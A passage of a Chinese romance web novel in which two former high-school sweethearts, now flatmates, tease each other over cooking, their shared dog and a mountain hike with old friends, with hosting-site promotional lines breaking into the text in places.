“我在给它做饭你过来喂它。”
“好。”
去到厨房
“没有我带了面包。”
傅蔺征去捞食物狗狗吃的都是干净的水煮菜他先倒了点肝冻给她她把盘子轻推过去温柔叫呼呼过来吃饭。
小家伙犹豫许久最后小心翼翼走过来低头吃着。
呼呼吃完肝冻容微月再把鸡胸肉放到它盘子里它这次没跑走了大快朵颐。
她弯起眉眼傅蔺征无声看了她几秒。
煮完食物晾凉递来她负责喂很快食物被消灭完毕她又看到一碗番茄肉酱意大利面递来诧异:“呼呼也吃这个吗?”
“它吃什么这是给你吃的。”
“……?”
男人随意道:“刚好煮多了。”
她看向满满一碗怔了怔“谢谢。”
这多煮了这么多吗……
不过她累了一天的确饿得不行了。
傅蔺征又拌了碗蔬菜沙拉带她坐到餐桌前容微月拘谨地开动。
头顶的暖光倾泻下来将两人笼罩。
半晌她吸了口面抬眼悄悄看向傅蔺征没想到如今他们竟然住在了同个屋檐下还能在同一张桌子上吃饭。
虽然从前那么熟了可现在一切又是带着陌生的感觉。
傅蔺征看她一动不动走神的样子“怎么难吃得一口都吃不下?”
她回过神“没有挺好吃的。”
傅蔺征三下五除二就消灭干净了起身看到她一根面都能挑半天无奈道:“要真觉难吃也可以不用勉强吃个饭跟上刑一样。”
“没有我吃得比较慢。”
难怪瘦成这样。
和高中时一样吃饭就缺人监督。
傅蔺征懒声讽道:“是幼儿园小朋友都下桌了你还坐着。”
她抬眼看他:“你是幼儿园几班的?”
“……”
傅蔺征转身走去厨房容微月压下唇角吃完她端着餐盘走去水池傅蔺征直接接过她只好让他洗。
她扫视厨房发现柜子空荡荡的能煮东西的只有一个简单的锅和电饭煲“傅蔺征你平时在家基本不做饭吗?”
“怎么想让我给你做饭?”
“…
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
…不是,我有时自己煮东西吃,能用厨房吗?”
“随你,没人和你抢。”
也是,他这样的大少爷,肯定十指不沾阳春水。
“那我有空去添点厨具回来。”
忙完容微月去推行李箱,问:“我住哪间?”
男人往前走,她跟上,到了他卧室旁边,他打开门打开灯,橘黄色暖光亮起,木质地板往里宽敞延伸,里头像是一个木洞里的小世界。
中间的悬浮床铺着牛奶绒的米白色四件套,旁边是个米白色短绒地毯和懒人沙发,床对面是单独的衣帽间和淋浴室,璀璨夜景透过落地窗透进来,外头的阳台还有喝茶的秋千椅,而桌面上还有一束冰淇淋桔梗,是她最喜欢的花。
天哪这也太漂亮了……
“今早来我怎么没看到这么多布置?”
傅蔺征漫不经心偏开眼:“下午有钟点工来,我让她简单打扫一下,谁知道还给布置了,倒还挺细心。”
“那她……还挺好的。”
“你自己弄吧,有需要再叫我。”
呼呼进来好奇逛了一圈,见傅蔺征离开,也一溜烟跟着走了。
容微月整理着行李,把衣物挂进衣柜,又把之前那些娃娃拿出来。
这是之前高中时候和傅蔺征一起抓的,小时候她都没怎么玩过抓娃娃,因为每次抓都抓不中,觉得自己运气很差,后来傅蔺征就带她去电玩城,每次都能带她抓满满一筐。
当时他从后背搂住她,带她抓着把手,看向玻璃橱窗里的娃娃,低哄道:
“每个机子的实爪都有固定概率,可能十次空爪就会等来一次实爪,所以你用完了所有的坏运气,从今往后一定都是好运气。”
遇到他,或许就是那十次里的一次。
容微月回过神,把娃娃放进柜子里。
整理好房间,迟些时候,她去洗了个澡出来,感觉口有些渴,走出了卧室。
外头静悄悄的,傅蔺征估计回房了,呼呼在自己窝里睡得正香。
她轻声走过去,却发现它的窝里放着曾经她和傅蔺征一起去给它买的呆萌兔、长颈鹿等玩具,连它躺的小绵毯也是她当初买的。
六年了傅蔺征怎么都没丢掉……
她怔了怔,蹲下来轻轻摸了下呼呼,心柔软融化。
而后她走去水吧倒水,正喝着,忽而开门声传来。
房间的光洒出,照亮了几分昏暗的长廊。
她扭头看去,忽而被钉在了原地——
傅蔺征刚洗完澡出来,深色浴袍松垮地穿在身上,腰间只系了一道懒散的结,水珠顺着凌乱的黑色短发滑落,沿着脖颈蔓延,到达脖间的一条黑链,再没入胸膛鼓动的肌肉线条中。
他抬手擦
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着发,动作慵懒,一身冷欲气息逼人得几乎让人无法直视,比高中时更加张力爆棚。<
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p>容微月呼吸猛地停了一拍,立刻偏开眼,见他走过来到身旁,忍不住提醒:“傅蔺征你……你能不能在公共场合注意点着装。
他挑了挑眉,“我是没穿衣服?
殷绿那几句调侃没来由冒上心头,容微月低头咕嘟嘟喝水,绷着脸道:“要……要穿得整齐点。
傅蔺征勾唇:“我穿个浴袍你就想入非非?
“……
“自己心不干净还怪别人?
“……
傅蔺征走得更近,薄荷冷香逶迤而来,极强的侵略性占领周遭的每一寸空气,拽懒嗓音落下:
“容微月,我算是明白了,那同住合约第一条你是用来约束你自己啊,看来我晚上太迟出来容易有危险。
她讨厌死他了,破罐破摔道:“是,所以你穿得整齐点,省得我把持不住,扑到你怀里。
傅蔺征语调懒洋洋,“就只是这样啊,那你对比你从前,倒还是保守不少。
“……
当初她胆子很大,主动勾他缠他,眼波如丝,每次都能让傅蔺征发疯,低哑骂她,逼得她哭,看她还敢如此。
那时候他们不是没直接在厨房厮混过。
他瘾太大,她一个眼神他都能来,直接把她抱到料理台上,吻沸**缠下来,哄她叫宝贝。
有天下午她在他公寓煮椰汁西米露,傅蔺征坏得在后面耐心指导,一小时后,她哭出声被他抱住,那椰汁浇在她肚子上,后来她羞得再也不喝这个了。
旖旎回忆不受控在脑中翻腾,容微月捏紧水杯,往左走,他却也往左,她往右,他也往右。
???
傅蔺征挡在她面前,倾身而来,她倏地后退靠着餐桌,心脏重重一跳,她细软的嗓音如娇哼:“傅蔺征……
随后他慢条斯伸手拿过她后方的玻璃水杯,沉哑嗓音落下,带了几分揶揄:
“我拿水,你紧张什么?
“……
也不知道他是不是故意的,她耳根像是着火,眼睫翩跹。
她突然后悔答应住进来了。
一切都比她想象的危险。
不敢和他待在同一个空间,容微月转身出去,路过客厅,傅蔺征叫住她:“沙发上东西拿走。
“什么……
容微月走过去,看到是个除螨仪,愣了愣,他慵懒道:“之前随便买的,我也不知道怎么用,你拿回去顺带研究下,明天教我。
“噢,好。
回到卧室,她把刚才胡思乱想的都摒弃脑后,翻了翻说明书,发现这主要用来被褥或者布制品灭菌除螨等等,上网一搜
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,竟然万把来块。
她研究出来,就先偷偷用机器给自己的四件套和沙发走了遍,她皮肤很容易起红疹,床单有点螨虫都不行,曾经高中毕业后傅蔺征每天都会给他公寓沙发、床等消毒或者换新的,就是怕她会不舒服。
全部弄好,被子都暖烘烘的,容微月躺进去滚了两圈,看着周围,心里涌生幸福。
前几天行李被丢在门口的场景还历历在目。
如今,她暂时拥有了属于自己的幸福小窝。
希望未来的每一天,都越来越好。
她习惯般拿过床头那瓶药丸,吃了颗,关上灯入睡。
-
翌日,太阳升起,日光唤醒沉寂的城市。
如今十月底,京市由秋入冬,日渐寒冷,凛冽寒风在窗外肆意地刮。
早晨六点多,傅蔺征睡醒。
洗漱完他走出卧室,外头天色灰蒙蒙,呼呼还睡得正香。
先去处理了工作,又听了听赛车比赛的英文广播,天亮后,他去厨房翻箱倒柜半天,终于找到一袋米,倚着中岛台,用手机搜索:
【粥怎么煮。】
稍微翻翻,他锁了屏幕:“也太简单了。”
他洗了米放进电饭锅里,盖上盖子,动作顿了几秒,又去翻看电饭煲说明书。
操作完,他给怀裕发了份清单:【今天送来禾盛庭。】
怀裕看到清单上的锅碗瓢盆还有调料品等等,满满一整夜:【征哥,你不是不做饭吗?买这些干什么?】
傅蔺征:【当装饰不行?】
怀裕:……?
摸不透老板,怀裕只能应下。
傅蔺征把手机搁到桌上,打开冰箱,拿出鸡蛋和蔬菜。
过了会儿呼呼睡醒,听到他在厨房的动静,快步朝他跑来,摇着尾巴在脚边转,眨巴着眼睛看他。
“醒了啊。”
傅蔺征继续煮着东西,小团子着急地汪汪叫了两声,他把它拎了起来,“叫个屁,一大早能不能安静点,等会儿把人吵醒了我揍你。”
小家伙像是听懂了,不敢出声,就舔着他手撒娇呜哼着,傅蔺征无奈:“你天天吃好喝好,饿两分钟会怎样,你妈不比你重要?能不能有点先来后到。”
煮完东西,傅蔺征给呼呼倒了狗粮又切了几块苹果,小家伙吃完又挑食地只剩苹果,被傅蔺征抓过来喂着。
傅蔺征坐在地毯上,拿着一只容微月的麻雀毛线布偶,给它闻闻:“先熟悉一下气味。”
呼呼嗅着,傅蔺征扔出去,它乖乖跑去叼回来,他奖励地喂它一根肉干,呼呼眨巴着眼还想吃,他慵懒道:“想每天吃肉干可以,以后和你妈亲点,别看到她就躲,她就对你才笑那么开心。”
他单腿屈
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
膝,懒洋洋靠着沙发,揉揉它头:“我好不容易才让她回来伺候你,你要惹她不高兴,老子也把你丢出去。”
……
早上八点多,容微月醒来。
哪怕都有吃药,她也很久没有睡过这么舒服的觉,周围安安静静的,一夜无梦到自然醒。
耳边风声轻轻,室外阳光温柔地透过落地窗照进来,微风卷起白色轻帘飘动,外头蓝天飘着几朵棉花云,三十四层的高度如同置身天空之境。
容微月推开玻璃门走到阳台,伸了个懒腰,眺望远处,弯起唇畔。
洗漱完,她换上一套扎染的浅色古董毛衣配长裙,黑茶色头发用木簪弯起。
走出卧室,她喝了杯水,走去客厅看到呼呼正在地毯上咬着她的麻雀玩偶打滚。
呼呼看到她,动作呆住。
她朝它笑:“早上好啊。”
她蹲下来,朝它伸手,“能抱抱吗?”
小家伙在原地戒备地看着她,没有过来,但没有像昨天那样躲起来了,慢慢在适应。
她视线扫了一圈,托腮问:“对了你爹呢?他出门了?”
呼呼像是听懂了般,叼着麻雀往一个方向走去,回头看了她一眼,她疑惑跟上,走到健身室门口,没想到傅蔺征真在里面健身。
男人一身白色短袖短裤,正在练器械后飞鸟,双臂向后伸展,青筋如山脉绵延延伸,背部肌肉群鼓动,汗珠从他利落的下颌滚落。
身为专业赛车手,还是参加那种高速竞速类比赛,体能要求很高,每天锻炼少不了。
傅蔺征练完最后一组,呼呼跑进来,他转身看到门口的容微月,起身走来,容微月看到他贲张的肌肉,视线连忙偏开。
傅蔺征见她这样,气笑:“怎么,又碍着你眼了?我要不穿个毛衣在这儿锻炼?”
她忙摇摇头,这是他家,他想怎么穿她管不着。
走去厨房,傅蔺征随口道:“电饭煲里,早餐又煮多了。”
容微月愣了下,走去打开电饭煲,呆了两秒:“你做的这个是……”
“粥,看不出来?”
容微月舀出粒粒分明的米饭,“这不是白米饭吗?”
傅蔺征:“……”
是配比的问题还是锅的问题?
他走过来看了眼,脸色微变,轻咳两声:“水加少了,但这不也能吃?”
容微月了解这个大少爷的厨艺,轻抿了抿唇:“嗯,能熟就挺好,吃了还管饱。”
“……”
她舀了小半碗,半晌傅蔺征冲完澡换了衣服回来,在她对面坐下,容微月转头看到呼呼在咬着她的麻雀玩偶,在地板上翻来滚去,诧异:“这个玩偶你怎么找到的?”
“在你纸箱里的,我
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第 14 章 他手如藤蔓把她牢牢牵住...
第14章第十四章
【他手如藤蔓把她牢牢牵住】
chapter14
彭清时惊愕瞪眼,容微月也震惊地看了眼傅蔺征。
不是,这人怎么说的跟情侣同居似的?!
她立刻解释:“我现在和他合租,只是室友。
彭清时目光在俩人之间打转,还是难以置信:“微月,你怎么能和他合租……
傅蔺征冷眸渗出笑意:“和你有关么?彭先生住太平洋啊,管这么宽?
彭清时:“……
呼呼像是看到了敌人,奶凶地朝彭清时汪汪叫,白中带棕的毛茸茸耳朵扑动如棉花。
傅蔺征拉住它,懒洋洋呵斥:“呼呼,这是**朋友,不准对外人这么没礼貌。
彭清时:“……
氛围实在太奇怪,容微月头要炸了,赶忙对彭清时道:“我走了,你也回去吧。
彭清时动了动唇,话到嘴边又压下,哑声开口:“好,你晚上早点休息。
他离开后,容微月看向身旁拽懒的太子爷,脸颊微热:“傅蔺征,你能不能不要对外乱说?
“怎么,难道我说的不对?
傅蔺征一副讲道理摆事实的认真模样:“不是在同一张桌子吃饭?不是都住在3号楼3401?家里的钥匙不是我们一人一把?
容微月:“……
男人拢下眼皮看她,懒拽语调笼在她耳边:“你不也说了,就是单纯的室友关系,还是你浮想联翩了?那你可得反思下自己的问题了。
“……
为什么这人这么欠扁啊?
容微月不想搭理他,突然感受到裤腿传来痒意,低头一看,竟然是呼呼走过来主动凑到她脚边,在小心翼翼闻她身上的味道。
它今晚穿了件毛绒奶牛服,像个咬开了一口的奥利奥大福,额头的**往后被一个小熊猫发卡夹住,一双眼睛扑闪扑闪如星星。
别说,傅蔺征还挺会给它打扮。
容微月瞬间心化了,弯起眉眼,傅蔺征手插兜往车走去:“走了,回去。
“啊,不是说去遛呼呼吗?
“容微月,你能不能有点儿良心,在楼下等你半个小时,小区都巡逻了三圈,保安都没我们勤,再遛大冷天你要冻死我们爷俩啊?
“……
她有点想笑:“那不是你自己忘记带钥匙吗?
怪得了她吗?
“是,还得感谢您回来解救我俩,再迟点你就能收获一人一狗两个冰雕了。
她唇角提起浅浅弧度,蹲下来摸呼呼:“呼呼你冷吗?抱你好不好呀……
傅蔺征轻嗤。
行,他个大活人站着是一句不
听说看这本书的人都是很幸运的,分享后你的运气会更棒
问。
傅蔺征走去把自己车停好过来找她拿过她车钥匙让她抱着呼呼上副驾:“改天再遛以后机会很多。”
车子停到了地下停车场容微月牵着狗和他上楼回到家容微月一进去就看到放在玄关柜子上的钥匙:“这钥匙放这儿你出门都没看到吗?”
傅蔺征看了眼被扔在这里的钥匙恍然了声“年纪大了眼神不好没办法。”
“……”
他给呼呼擦脚容微月提议:“不然还是装个密码锁吧?这样忘带钥匙很麻烦我也不是每次都有空赶回来。”
傅蔺征:“没钱。”
……这人哪里没钱了?
“或者我们AA?当我补这个月的水电费了。”
男人点开手机搜了搜递给她:“行啊买这个吧。”
低头一看一个一万四的密码锁。
这啥锁这么贵?!
她默了默把手机还回去:“我想了想用钥匙挺方便的密码锁没必要。”
傅蔺征无声勾唇走去厨房容微月提着草莓跟过去发现厨房突然摆了许多锅碗瓢盆还有电器琳琅满目工具齐全。
“这些东西哪来的?”她惊讶傍晚回到家厨房还空空荡荡啊。
傅蔺征洗了个手拿了个鳕鱼干喂给呼呼“今天买的刚好最近要做增肌餐。”
做个增肌餐需要这么多东西吗?
傅蔺征盖上鱼干罐子看了她一眼拖腔带调道:“我挺大方的这些你平时想用可以用。”
“好的……谢谢。”
她突然好有做菜的冲动之前的房子里厨房太小连多个烤箱都摆不下。
容微月把草莓拿去洗看向中岛台前的他“你要吃草莓吗?”
他挑眉看她就听她道:“清时给我拿了一篮子我太多了吃不完。”
“……”
他视线微顿“彭清时给的?”
“是他家亲戚的草莓园摘的。”
傅蔺征眸色幽深:“你给他钱了么?”
容微月愣了愣:“没有啊怎么了?”
傅蔺征冷笑一声。
行他送给她车厘子她就非要给钱
容微月不明所以礼貌问他:“纯天然没打农药的给你点?我也吃不完。”
傅蔺征呵嗤:“不感兴趣我会吃嗟来之食?”
“……”不吃算了。
她继续洗傅蔺征看着脸色越来越黑随后走去打开冰箱拿出晚上带回来的草莓和车厘子走去旁边的另外一个水池。
容微月转头看到才发现原来他也买了。
傅蔺征慢悠悠洗了一盘倚着中岛台尝了口草莓轻啧:“真甜自己
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买的就是好吃。”
她无语收回目光吃了颗彭清时给的小草莓很香但有点酸她向来不喜欢酸的水果傅蔺征见此唇角勾起极浅弧度把自己盘子递来:“尝尝?”
那红通通的丹东大草莓太诱人她轻声道谢忍不住拿了个咬了口:“嗯挺好吃的我这个有点酸。”
随后她手里那盘被拿走傅蔺征把他那盘推来。
她怔住他懒道:“换一下我爱吃酸的。”
嗯?他从前不是水果一点点酸都接受不了吗……
傅蔺征又拿走彭清时的那一筐“都给我你帮我把我买的消灭了吧。”
她懵然应这时手机震动是彭清时的语音点开后那头温柔的嗓音传来:【微月我快到家了我还是想问问你周六有空吗?我们一起去听音乐会。】
傅蔺征视线抬起看来。
容微月对上他目光锁上屏幕拿起他的果盘:“谢谢那我先回房了。”
她离开傅蔺征绷着脸收回眼拿了颗小草莓嚼了两口旋即吐掉。
这么酸的还好意思拿来送人?
他走去阳台拨了个电话十几秒后那头接起夏斯礼含笑的声音传来:
“难得啊傅大少爷
“……”
傅蔺征靠着栏杆拿出根烟拨弄打火机青蓝色的火焰跳跃舔舐烟头口中吐出白雾褐色冲锋衣被风微微拂起肩线挺拔整个人气场极冷。
夏斯礼揶揄:“怎么了看来理想很丰满现实很骨感这是人家搭理呼呼没搭理你?那你魅力还不如一只狗啊。”
“闭嘴你特么废话怎么那么多。”
夏斯礼难得看到顺风顺水的大少爷会有吃瘪的时候笑了半天正儿八经问他:“咋了又遇到什么事了?”
傅蔺征看向远处的夜景淡淡开口:“这周六是什么日子对吧?你要组一场饭局。”
“啊?没日子啊?”
“你有。”
“啥日子啊??”
“我不知道但你肯定有。”
“……好好好有有有!”夏斯礼骂他绞尽脑汁终于想到“我真的服你老子他妈提前两个月过生日行了吧!”
傅蔺征懒洋洋应了声“行。”
他挂了电话那头夏斯礼骂骂咧咧。
另一头容微月回到房间她咬着草莓回复彭清时:【不好意思最近要赶工交个设计稿你和别人去看吧。】
她知道彭清时的意思但她不喜欢他不能和他超过朋友之间该有的界限。
那头沉默良久后回
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:【好。】
【但我还是好奇,你怎么会和傅蔺征同住?之前你不是说你们关系很冷吗?你不会想和他复合吧?】
她神色一顿,回复:【就是单纯合租,其他什么都没有。】
彭清时:【你没有,那他呢?男人最懂男人,你不觉得他很在意你吗?】
她眼睫扇了扇,敲击屏幕:
【没有,你想多了。】
她锁上手机,抬头看向果盘里的车厘子,再度想到前两周傅蔺征开她车送她回家那晚,临走前给的那盒车厘子。
她很爱吃车厘子,高三冬天,他晚上来接在校外艺考培训的她,经常会给她带一块青橘蛋糕、暖宝宝,还有一盒车厘子,看她眸光亮亮,含笑牵住她:“走了公主,送你回家。
很多事情错过了再难回头。
她不敢再去奢望了。
按灭思绪,她准备去洗澡,手机又进来个电话,竟然是夏斯礼。
问她周六有没有空来参加他生日,“就你、傅蔺征、棠棠,还有几个朋友。
那头也传来夏千棠热情的声音:“月月你要来呀,好久我们没有一起玩了。
容微月想到了高中时他们一起玩,她特别怀念,但后来和傅蔺征分手,她也不知道该怎么面对他们。
没想到夏斯礼会邀请她,容微月愣了愣应下:“可以,我有空的。
“那周六见啊,你帮我叫下殷绿一起,我还没加她呢。
“好。
第二天容微月告知殷绿,那头本来和男朋友有约,但是对方临时要加班就取消了,殷绿闻言痛快答应,也想见见老同学了。
几天后的周六,午后斑驳温暖的日光照进房间,厨房里,傅蔺征在给呼呼准备晚饭,抬头看到容微月从卧室里走出来,一身乳白色刺绣古典毛衣裙,披着薄绒外套,长发被梨花玉簪别起,一双如猫的眸子剪水如波,唇红齿白。
容微月的美是没人可以反驳的。
骨子里清冷,但浓颜系的颜值极具攻击性,第一眼惊艳,再看一万眼也还是漂亮,当初她来澜高没半个月年段男生都知道她了,好多人追。
傅蔺征直直看着,容微月对上他目光,他不自然偏开眼:“不就参加个夏斯礼的生日,还挺隆重。
“?
她就随便穿了一套啊。
她看向他,窗外柔澄的光影掠过男人肩头,他一身灰色立领冲锋衣,包裹着挺拔高大的骨架,工装裤下的两条长腿逆天,荷尔蒙爆棚,也恭维道:“彼此彼此。
“……
她走去给呼呼装水,“呼呼自己在家没事吗?因为夏斯礼说他们今晚要过夜。
“我把吃的准备了。
都弄好后下楼,
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容微月要去开车就被傅蔺征拽住:“坐我的车,去同个地方还要开两辆车?”
她呆了呆,只好上了他的副驾。
银黑色超跑驶出停车场,路上她想到什么:“傅蔺征,等会儿有别人要是问我们为什么一起来,我们就说是顺路遇到,行吗?”
他看过来,“为什么。”
“我们同住的事还是不要往外说吧,我怕有人误会了,不好解释。”
傅蔺征戴上墨镜,单手搭在方向盘上,闻言似笑非笑反驳:“容微月,你搞清楚,和我这样俊美非凡的人住在一起,是你会感觉比较骄傲吧?谁往外说的概率比较大?”
容微月:“……”
“当然呢,你要是忍不住往外说,我也不怪你,解释清楚,别让人误会我的清白就好。”
“……”
她偏过头闭上眼。
中途俩人到了东四十条附近接上了殷绿,殷绿上车坐到后座,朝傅蔺征含笑打招呼,傅蔺征回应,对容微月道:“饮料在储物格,你拿给你闺蜜。”
容微月拿了递给殷绿:“要不要吃车厘子?”
“不用,我喝水就好。”
“你要觉得冷,旁边有毯子。”
殷绿咧嘴:“好,不用管我。”
容微月打哈欠,傅蔺征调高了点暖气,淡声道:“要困了放平座位睡一会儿。”
“没事还好……”
半晌容微月手机震动,是殷绿的消息:【傅蔺征好关心你,你俩好像小夫妻一起出门玩哦,我像个电灯泡[狗头]】
容微月:【……你喝水喝出幻觉了吧。】
殷绿:【有一说一,傅蔺征好帅啊!!!我靠他怎么比高中还帅了?要我有这么帅的前男友,我直接生扑了他!!!你这是生在福中不知福!】
“……”
哪里了,这人就是俊美非凡的大自恋。
一个小时后,他们到达临市一处旅游景点的山脚下,山上还有处庄园,冬天人气爆满,夏家熟悉,在这里有投资。
夏家兄妹已经来了,夏千棠看到容微月,激动抱住她:“月月我们有半年没见了吧!!好想你!”
容微月莞尔:“我也是。”
夏千棠看向她和傅蔺征,故意调侃:“什么情况,你们俩怎么是同一辆车来的啊?”
傅蔺征靠着车:“不知道呢,她说我们是顺路遇到的。”
容微月:“……”
夏家兄妹都笑了,殷绿也下了车,“不止他们俩,还有我啊。”
“绿宝!”
夏千棠也欢喜过去和她拥抱,把行李拿下车,夏斯礼揽住傅蔺征肩膀,调侃:“微月啊,还好我约到你了,不然我这生日可不一定过得了了,是吧阿征?”
容微
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月:“啊?
夏斯礼感受到某道目光,憋笑:“没有,我的意思是挺想微月的,你不来我这生日就不完美了。
容微月含笑把礼物提给他:“生日快乐斯礼,不知道你喜欢什么,我和殷绿就一起给你买了个手办。
殷绿:“这是微月的主意,她记得你从前很喜欢五条悟。
夏斯礼看到是个限量版:“我去,微月你也太有心了吧!离开你谁还把我当小孩啊。
容微月腼腆点起酒窝,夏斯礼给傅蔺征炫耀:“你看看你看看,人家对我有多用心,哎呦某人求之不得嘞。
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“……傅蔺征脸色黑了好几度。
夏斯礼感谢两位美女,把礼物先放到了车里,看了眼手机道:“还有几个朋友他们说迟点到,我们先进景区,到时候再和他们汇合。
“出发吧!!
五人去往景区门口,容微月拎着今晚换洗衣物的手提袋,傅蔺征见此拿过:“你去帮殷绿拿。
“……好,谢谢。
容微月去找殷绿,帮她分担,殷绿坏笑:“和以前一样,傅蔺征就舍不得你提重物。
从前他们几个出去玩,容微月手上就没提过重东西,大大小小都被傅蔺征一个人包了,他力气够大,都恨不得再把容微月挂在身上。
容微月轻掐她:“你别乱说啊……
“好好好,我不说。
入园后,其余三个去上厕所,容微月坐在树下的石椅看包,她看到傅蔺征买完票,又拐去旁边的小商铺买了点东西。
男人走回来,容微月刚戴好遮阳帽,抬眼对上他目光,他漫不经心问:“要不要登山杖。
“啊?今天要爬山吗?不是说没爬吗?
“等会儿要走一小段。
她事先不知道,还穿了裙子,但想想爬个山而已也不至于,客气道:“没事不用,你自己留着吧。
他淡淡道:“随便你。
五人集合后要先坐一段观光车,今天是周末,游客众多,周围人声嘈杂,傅蔺征看着手机天气预报,问了容微月一句话,她没听到,他又说了一遍,她还是没听清:“你大声点。
“我说京市下雨了,走的时候家里阳台门你关了么。
傅蔺征拔高的懒洋洋的声音清晰传入周围几个朋友的耳中。
容微月:“……
另外三人齐刷刷转过头,莫名其妙笑起来,容微月尴尬硬着头皮答:“关了。
夏斯礼咬着烤肠,感叹:“真幸福啊,下雨天都有人帮忙留意家里关没关门啊。
容微月:“……
算了,当初租房信息都是夏家兄妹发的,他们知道也很正常,夏千棠揽住容微月的肩
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膀,八卦问:“微月,你现在和傅蔺征住得怎么样,感觉如何?
对上傅蔺征看来的目光,她心河微漪,淡淡道:“没什么感觉,就是……普通室友。
傅蔺征舔了舔后槽牙,偏开眼。
五人坐了观光车到达一处,需要爬会儿山才能去坐缆车,到交叉路口,比较多人都往西边走,少部分往东边,夏斯礼带他们走东边:“我看过了,这条路少走600米!速度更快,那些人怎么那么傻。
几人跟着夏斯礼,而后就明白了这条路为什么人不多了。
因为这路实在崎岖艰险,好几个爬坡,跟丛林探险似的。
夏千棠吐槽:“我怎么会有这么傻的哥,短六百米但我命都快没了,大众的选择果然是没错的。
殷绿:“完了完了,下一秒我们会不会到山脚了。
“至于吗你们,不就是楼梯陡了点吗?
“这叫有点陡吗?殷绿生无可恋抬头看,“这都快六十度了!
夏斯礼把准备好的登山杖递给她:“你抓着这登山杖,借个力,棠棠也抓着。
“好,你走慢点啊……
几人慢慢往上走,容微月走在最后,楼梯比较窄,脚要稍微侧着才能稳稳踩住,几乎是一步一个惊险。
她从小到大,都有点恐高,而且运动很不擅长。
一旁的傅蔺征背着包轻轻松松,三步并两步,就跟散步似的,夏斯礼问:“阿征,你不去前面开路?
向来登山他都是第一个。
傅蔺征慢条斯理:“今天想休息,走慢点。
容微月看着斜前方的他,犹豫半晌,忍不住叫:“傅蔺征。
“干嘛。
“登山杖你有用吗?
男人看着她,唇角挑起:“怎么,刚才不是说不需要么,现在就认怂了?
“……
好讨厌这人,她没再说话,两秒后傅蔺征把登山杖拿来:“拿了。
“不用,我自己走。
她脾气上来了。
男人喉间滚出声轻笑:“不要算了。
这时殷绿转头看过来,朝她伸手:“宝,你抓着我。
容微月忙牢牢抓住她:“嗯……
往上走着,她手心不断冒汗,步伐却不敢放慢,不拖大家后腿。
周围也有不少登山客路过,五人到了一个**台,没喘几口气,又是更难的陡坡,容微月踩上台阶,有点害怕地叫前方的殷绿:“你牵我一下。
奈何她声音太小,殷绿没听到,突然脚下一滑,模糊的视野中出现一只手,她以为是殷绿伸来的,没犹豫就立刻握住。
这手格外宽大,指腹带着薄茧,能把她的手完全包住,指节修长骨
你的朋友正在书荒,快去帮帮他吧
骼分明,温热中带着强大的力量感,仿佛一只手就能把她整个腰掐住。
明显不是殷绿的手。
可似曾相识的触感瞬间扑面而来。
几乎是一瞬间,对方有力地握住她的手,让她不至于跌倒。
容微月站稳,倏地抬头就看到了傅蔺征。
她窘然立刻松开手的力道,可傅蔺征反而把她牵得更紧:“腿都打颤了,你一个人能走得来?掉下去可没人管你啊。”
“……”
他们在队伍最后,她抬头看了眼前面的楼梯,无助之下只好牵着她。
傅蔺征手臂青筋蔓延凸峥,力气极大,比登山杖有用百倍,几乎如藤蔓把她牢牢抓住,她借着他的力,瞬间步履轻快起来,如轻功水上漂。
曾经他们去爬山,他就这样拉着她。
后来懒了就让他背,他甚至可以单手把她抱到山顶,她做什么都好轻松。
路途很抖,容微月想往后看,头顶传来傅蔺征低沉的嗓音:
“往前走,不要回头。”
他的声音被微风融化。
她怔了怔,摆正视线,就专注脚下,心里的紧绷和害怕慢慢消散,徒留心跳微微作乱。
三分钟后,走过最后一节台阶,到达大平台,容微月大口喘气,终于完全放松,回头一看:
“这也太陡了,我竟然走过来了……”
她如同劫后余生般开心,正调整着呼吸,身旁传来男人拖腔带调的嗓音——
“喂,容微月,你还没牵够啊。”
她低头一看。
她还牢牢握住傅蔺征的手。
她脑中震动,桀骜拓落的男人悠悠然扯起唇,拽懒声音格外欠扁:
“刚才让你牵一下也就算了,现在还不肯松开,周围人来人往的,我脸皮薄,你这样占我便宜不好吧,毕竟我们只是普通室友呢。”
容微月:“……”
〓作者有话说〓
《我脸皮薄》[白眼]谁有你狗你厚脸皮啊
牵着月月恨不得拿502把手粘着[狗头]
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第 15 章 他醋到**
第15章第十五章
【他醋到**】
chapter15
傅蔺征懒懒散散的话落下,容微月飞速松手,尴尬的同时,再度刷新了对此人臭屁程度的认知。
天哪,她不小心忘记松开他的手,就能被脑补成她想占他便宜……
这人脸皮哪里薄了,厚得连**都打不穿。
这时夏家兄妹和殷绿在前头拍照回来完折返回来,“你们俩怎么走得这么慢啊,都不好意思打扰了。”
“阿征每次爬山都是第一个,难得会落在队伍后面,刚刚可看到了,小手拉得挺紧啊。”
容微月脸颊微热,解释:“没有,是我刚刚差点摔倒了,他只是搀扶了我一下。”
男人闻言轻笑了声,懒洋洋附和了句:“是呢,我向来这么乐于助人。”
容微月:“……”
另外三个憋笑看破不说破,继续往前走到缆车售票处,在游客休息厅等另外几个朋友。
很快一个憨厚带笑的男声传来:
“你们在这儿呢,我来了!”
这声音有点耳熟,容微月扭头,看到是曾经高三的同班的同学,湖安。
湖安是个理工男学霸,高中时候高高胖胖的,人送外号坚果哥,性格很憨厚可爱,和傅蔺征他们也是好哥们,皮肤白白的,笑起来一口白牙憨憨的,看过去头脑简单四肢发达,但实际上很聪明,经常和容微月去参加奥数竞赛,成绩不相上下。
殷绿惊叹拍了拍容微月的手:“湖安瘦了好多啊!男大十八变,认不出来了!”
如今湖安像抽条了一般,高高瘦瘦,背着登山包穿着卫衣运动裤,身上有点肌肉线条,湖安和容微月打招呼,又看向殷绿,微腼腆的笑容扬起:
“殷绿,好久没见了。”γúè擱
殷绿莞尔和他打招呼:“坚果哥,你现在越来越帅了,欸对不起我还叫你外号呢……”
湖安笑:“没事,还能这么叫我。”
夏千棠给他分橙子:“还以为你被留在公司加班,要今晚才能来。”
湖安接过,坐在傅蔺征旁边:“代码赶完了,我直接就溜了。”
夏斯礼揶揄:“今儿就是赴汤蹈火,他都要赶过来,见老同学很重要。”
湖安脸热,殷绿说:“还记得高三那年元旦傅蔺征组织我们一起去爬山,坚果哥竟然第一次翘了英语冲刺班,一路山上还背单词,后来本子还掉下去了哈哈哈。”
湖安笑:“这次是太久没见你和微月了,征爷前两天大半夜还打电话和我说微月和他住一块儿了,我还想说什么时候过去做客呢。”
容微月:?
傅蔺征:“……”
傅
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
蔺征轻咳,冷眼睨过去:“大晚上你做什么梦?谁跟你说过了?
湖安:???
明明就是他说的啊!
